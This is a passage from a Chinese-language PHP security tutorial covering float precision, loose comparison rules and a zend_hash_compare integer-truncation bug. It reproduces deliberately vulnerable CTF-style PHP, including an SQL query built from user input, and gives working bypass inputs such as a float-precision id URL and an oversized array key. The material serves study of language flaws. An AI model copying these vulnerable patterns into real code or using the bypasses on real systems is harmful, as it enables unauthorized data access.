0.57的二進位制表示基本上(52位)是: 0010001111010111000010100011110101110000101000111101
//而兩者的二進位制, 如果只是通過這52位計算的話,分別是:
0.58 -> 0.57999999999999996
0.57 -> 0.56999999999999995

則0.58 * 100 = 57.999999999,intval後的結果就是57了

看似有窮的小數, 在計算機的二進位制表示裡卻是無窮的

0x2: 緩解浮點數比較的精度丟失問題

由於內部表達方式的原因,比較兩個浮點數是否相等是有問題的。可以採用迂迴的方法來比較浮點數值
要測試浮點數是否相等,要使用一個僅比該數值大一丁點的最小誤差值。該值也被稱為機器極小值(epsilon)或最小單元取整數,是計算中所能接受的最小的差別值

<?php
    $a = 1.23456789;
    $b = 1.23456780;
    $epsilon = 0.00001;

    if(abs($a-$b) < $epsilon) 
    {
        echo "true";
    }
?>

Relevant Link:

http://www.laruence.com/2011/12/19/2399.html
http://php.net/manual/zh/language.types.float.php#warn.float-precision
http://www.laruence.com/2013/03/26/2884.html

 

11. 比較運算子

比較運算子,如同它們名稱所暗示的,允許對兩個值進行比較

比較運算子
例子名稱結果
$a == $b 等於 TRUE,如果型別轉換後 $a 等於 $b
$a === $b 全等 TRUE,如果 $a 等於 $b,並且它們的型別也相同。
$a != $b 不等 TRUE,如果型別轉換後 $a 不等於 $b
$a <> $b 不等 TRUE,如果型別轉換後 $a 不等於 $b
$a !== $b 不全等 TRUE,如果 $a 不等於 $b,或者它們的型別不同。
$a < $b 小與 TRUE,如果 $a 嚴格小於 $b
$a > $b 大於 TRUE,如果 $a 嚴格大於 $b
$a <= $b 小於等於 TRUE,如果 $a 小於或者等於 $b
$a >= $b 大於等於 TRUE,如果 $a 大於或者等於 $b

如果比較一個數字和字串或者比較涉及到數字內容的字串,則字串會被轉換為數值並且比較按照數值來進行。此規則也適用於 switch 語句。當用 === 或 !== 進行比較時則不進行型別轉換,因為此時型別和數值都要比對

<?php
    var_dump(0 == "a"); // 0 == 0 -> true
    var_dump("1" == "01"); // 1 == 1 -> true
    var_dump("10" == "1e1"); // 10 == 10 -> true
    var_dump(100 == "1e2"); // 100 == 100 -> true

    switch ("a") 
    {
    case 0:
        echo "0";
        break;
    case "a": // never reached because "a" is already matched with 0
        echo "a";
        break;
    }
?>

需要注意的是,由於浮點數 float 的內部表達方式,不應比較兩個浮點數是否相等

0x1: 精度不同的兩個系統之間在進行浮點型比較存在的繞過風險

# GOAL: dump the info for the secret id
require 'db.inc.php';
 
$id = @(float)$_GET['id'];
 
$secretId = 1;
if($id == $secretId)
{
    echo 'Invalid id ('.$id.').';
}
else
{
    $query = 'SELECT * FROM users WHERE id = \''.$id.'\';';
    $result = mysql_query($query);
    $row = mysql_fetch_assoc($result);
 
    echo "id: ".$row['id']."</br>";
    echo "name:".$row['name']."</br>";
}
http://php4fun.sinaapp.com/c3/index.php?id=1.0000000000001

主要是利用php和mysql對float數字型支援的精度不同,精度小的會忽略不能支援的位數

Relevant Link:

http://php.net/manual/zh/language.operators.comparison.php
http://drops.wooyun.org/papers/660

0x2: Different arrays compare indentical due to integer key truncation

var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

\php-src-master\Zend\zend_hash.c

ZEND_API int zend_hash_compare(HashTable *ht1, HashTable *ht2, compare_func_t compar, zend_bool ordered)
{
    uint32_t idx1, idx2;
    Bucket *p1, *p2 = NULL;
    //C語言預設宣告是signed int(有符號整型,只有32位)
    int result;
    zval *pData1, *pData2;

    IS_CONSISTENT(ht1);
    IS_CONSISTENT(ht2);

    HASH_PROTECT_RECURSION(ht1);
    HASH_PROTECT_RECURSION(ht2);

    //比較兩個hashTable的元素成員個數是否相同
    result = ht1->nNumOfElements - ht2->nNumOfElements;
    if (result!=0) 
    {
        HASH_UNPROTECT_RECURSION(ht1);
        HASH_UNPROTECT_RECURSION(ht2);
        return result;
    }

    for (idx1 = 0, idx2 = 0; idx1 < ht1->nNumUsed; idx1++) 
    {
        p1 = ht1->arData + idx1;
        if (Z_TYPE(p1->val) == IS_UNDEF) continue;

        if (ordered) 
        {
            while (1) 
            {
                p2 = ht2->arData + idx2;
                if (idx2 == ht2->nNumUsed) 
                {
                    HASH_UNPROTECT_RECURSION(ht1);
                    HASH_UNPROTECT_RECURSION(ht2);
                    return 1; /* That's not supposed to happen */
                }
                if (Z_TYPE(p2->val) != IS_UNDEF) break;
                idx2++;
            }
            if (p1->key == NULL && p2->key == NULL) 
            { 
                /* numeric indices */
                /*
                這裡有可能產生截斷
                p1->h、p2->h的最大值為2^64
                result的最大值為2^32
                所以p1->h - p2->h有可能產生一個大於signed int的值,強行賦值產生了高位截斷,剩下的低位全0,賦值給result就是0了
                理論上能產生截斷漏洞的poc有: 2^64 - 2^32種
                */
                result = p1->h - p2->h;
                if (result != 0) 
                {
                    HASH_UNPROTECT_RECURSION(ht1);
                    HASH_UNPROTECT_RECURSION(ht2);
                    return result;
                }
            } 
            ..

這個bug會導致一個邏輯繞過,看下面這段程式碼

<?php
include('config.php');
if(empty($_GET['user'])) die(show_source(__FILE__));
$user = ['admin', (string)time()];   

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;}

從表面上看,這裡有2個互相矛盾的判斷防禦邏輯,即要全等,又要索引0不等於admin,但這裡面同樣存在兩個防禦系統判斷邏輯不一致導致繞過的安全漏洞

input: $_GET['user'][0x1000000000]
1. user[0x1000000000]是允許存在的,php的陣列沒有溢位,是支援的
2. 在"==="呼叫zend_hash_compare的時候,由於發生了資料截斷,導致$_GET['user'][0x1000000000] === $_GET['user'][0],後面的time也可以通過host得到
3. 第二個邏輯比較,user[0x1000000000]本來就不等於 user[0],自然不等於admin
4. 這就造成了兩個防禦邏輯的不一致,繞過了防禦邏輯

Relevant Link:

https://sektioneins.de/en/blog/15-08-03-php_challenge_2015_solution.html
https://bugs.php.net/bug.php?id=69892
https://bugs.php.net/bug.php?id=69892
http://git.php.net/?p=php-src.git;a=blobdiff;f=Zend/zend_hash.c;h=9b3fb746aff0b516422f2b392850bbbcd702048e;hp=bfff87a67e3b287eab7886197f5282f801667d98;hb=7fc04937f5ba48e05d311937477ba81b0e07ffa8;hpb=8f1baa6e1ceffb54529402e210e6397466e1049a

 

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章